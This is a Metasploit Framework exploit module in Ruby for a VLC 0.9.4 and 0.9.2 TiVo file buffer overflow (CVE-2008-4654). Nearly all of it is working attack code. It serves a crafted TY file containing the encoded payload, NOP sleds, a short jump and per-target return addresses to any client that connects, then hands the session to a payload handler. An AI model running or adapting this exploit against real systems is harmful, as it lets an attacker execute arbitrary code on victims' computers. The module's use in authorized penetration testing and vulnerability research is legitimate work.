94 lines
2.6 KiB
Ruby
94 lines
2.6 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
|
|
By creating a malicious TY file, a remote attacker could overflow a
|
|
buffer and execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4654' ],
|
|
[ 'OSVDB', '49181' ],
|
|
[ 'BID', '31813' ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 550,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
|
|
[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Oct 22 2008',
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
ty = "\xF5\x46\x7A\xBD"
|
|
ty << "\x00\x00\x00\x02"
|
|
ty << "\x00\x02\x00\x00"
|
|
ty << "\x00\x00\x00\x00"
|
|
ty << "\x00\x00\x00\x00"
|
|
ty << "\x00\x00\x05\x41"
|
|
ty << "\x00\x00\x00\x00"
|
|
ty << "\x00\x00\x05\x49"
|
|
ty << "\x00" * 60
|
|
ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
|
|
ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
|
|
ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
|
|
ty << "\x05"
|
|
ty << "\x00\x00\x00"
|
|
ty << "\x05"
|
|
ty << "\x00"
|
|
ty << "\x09"
|
|
ty << "\xc0"
|
|
ty << "\x00" * 14
|
|
ty << "\x06"
|
|
ty << "\xe0"
|
|
ty << "\x00" * 302004
|
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
end
|